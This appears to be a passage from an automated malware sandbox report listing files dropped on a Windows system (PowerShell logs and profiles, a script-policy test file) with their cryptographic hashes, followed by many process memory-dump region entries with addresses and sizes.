b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
62623d22bd9e037191765d5083ce16a3

SHA1
4a07da6872672f715a4780513d95ed8ddeefd259

SHA256
95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

SHA512
9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
775c82c7bbad0e74b85d6b2950ba2f20

SHA1
23ba14921e5978ffd3b80af8725991ab51151302

SHA256
969845b6739e4f301a1cc65ec34ef7980ee95ea9bf43813ba92a6ba97dc3d2cb

SHA512
28154fba13ae93922d754c8bdeb18159c978b3851ada57f3e4722bc5541a14acdbc2099138dccaca6debe832f21a5ee1a5c4ac076f156e4b2207037fc4f0a887

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tphu23zl.ry5.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

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memory/696-258-0x00007FF63C7C0000-0x00007FF63C7D6000-memory.dmp

Filesize
88KB

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memory/696-252-0x00007FF63C7C0000-0x00007FF63C7D6000-memory.dmp

Filesize
88KB

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memory/948-273-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-279-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-313-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-311-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-309-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-307-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-305-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-303-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-301-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-299-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-297-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-295-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-293-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-291-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-289-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-287-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-285-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-283-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-281-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-277-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-275-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-271-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-269-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-267-0x0000020A675B0000-0x0000020A675D0000-memory.dmp

Filesize
128KB

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memory/948-266-0x0000020A67590000-0x0000020A675B0000-memory.dmp

Filesize
128KB

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memory/948-265-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-263-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-262-0x0000020A675B0000-0x0000020A675D0000-memory.dmp

Filesize
128KB

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memory/948-261-0x0000020A67590000-0x0000020A675B0000-memory.dmp

Filesize
128KB

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memory/948-259-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-257-0x0000020A67550000-0x0000020A67590000-memory.dmp

Filesize
256KB

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memory/948-256-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-250-0x0000020A67310000-0x0000020A67330000-memory.dmp

Filesize
128KB

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memory/948-251-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-254-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/948-253-0x00007FF73F220000-0x00007FF73FA14000-memory.dmp

Filesize
8.0MB

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memory/1016-225-0x00007FF6725A0000-0x00007FF6727B1000-memory.dmp

Filesize
2.1MB

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memory/1016-249-0x00007FF6725A0000-0x00007FF6727B1000-memory.dmp

Filesize
2.1MB

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memory/1016-181-0x00007FF6725A0000-0x00007FF6727B1000-memory.dmp

Filesize
2.1MB

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memory/2272-203-0x000001EA8DB10000-0x000001EA8DB20000-memory.dmp

Filesize
64KB

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memory/2272-192-0x000001EA8DB10000-0x000001EA8DB20000-memory.dmp

Filesize
64KB

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memory/2272-202-0x000001EAA8470000-0x000001EAA848C000-memory.dmp

Filesize
112KB

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memory/2272-211-0x000001EAA86F0000-0x000001EAA86FA000-memory.dmp

Filesize
40KB

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memory/2272-204-0x00007FF4DD6F0000-0x00007FF4DD700000-memory.dmp

Filesize
64KB

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memory/2272-205-0x000001EAA8550000-0x000001EAA855A000-memory.dmp

Filesize
40KB

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memory/2272-206-0x000001EAA86C0000-0x000001EAA86DC000-memory.dmp

Filesize
112KB

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memory/2272-207-0x000001EAA86A0000-0x000001EAA86AA000-memory.dmp

Filesize
40KB

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memory/2272-208-0x000001EAA8700000-0x000001EAA871A000-memory.dmp

Filesize
104KB

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memory/2272-191-0x000001EA8DB10000-0x000001EA8DB20000-memory.dmp

Filesize
64KB

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memory/2272-209-0x000001EAA86B0000-0x000001EAA86B8000-memory.dmp

Filesize
32KB

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memory/2272-210-0x000001EAA86E0000-0x000001EAA86E6000-memory.dmp

Filesize
24KB

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memory/2448-238-0x00007FF442C40000-0x00007FF442C50000-memory.dmp

Filesize
64KB

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memory/2448-239-0x000001FBAEDA0000-0x000001FBAEDB0000-memory.dmp

Filesize
64KB

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memory/2448-242-0x000001FBAEEB0000-0x000001FBAF0CC000-memory.dmp

Filesize
2.1MB

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memory/2448-240-0x000001FBAEDA0000-0x000001FBAEDB0000-memory.dmp

Filesize
64KB

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memory/2448-227-0x000001FBAEDA0000-0x000001FBAEDB0000-memory.dmp

Filesize
64KB

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memory/2448-226-0x000001FBAEDA0000-0x000001FBAEDB0000-memory.dmp

Filesize
64KB

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memory/2448-228-0x000001FBAEDA0000-0x000001FBAEDB0000-memory.dmp

Filesize
64KB

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memory/3724-133-0x00007FF7F47F0000-0x00007FF7F4A01000-memory.dmp

Filesize
2.1MB

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memory/3724-165-0x00007FF7F47F0000-0x00007FF7F4A01000-memory.dmp

Filesize
2.1MB

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memory/3736-177-0x0000010E78860000-0x0000010E78870000-memory.dmp

Filesize
64KB

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memory/3736-178-0x0000010E78860000-0x0000010E78870000-memory.dmp

Filesize
64KB

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memory/3736-176-0x0000010E78860000-0x0000010E78870000-memory.dmp

Filesize
64KB

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memory/4144-160-0x000001D4E1580000-0x000001D4E1590000-memory.dmp

Filesize
64KB

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memory/4144-161-0x000001D4E1580000-0x000001D4E1590000-memory.dmp

Filesize
64KB

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memory/4144-162-0x000001D4E1580000-0x000001D4E1590000-memory.dmp

Filesize
64KB

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memory/5068-144-0x0000027DD9BD0000-0x0000027DD9BE0000-memory.dmp

Filesize
64KB

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memory/5068-145-0x0000027DD9BD0000-0x0000027DD9BE0000-memory.dmp

Filesize
64KB

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memory/5068-139-0x0000027DD9BE0000-0x0000027DD9C02000-memory.dmp

Filesize
136KB

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memory/5068-146-0x0000027DD9BD0000-0x0000027DD9BE0000-memory.dmp

Filesize
64KB

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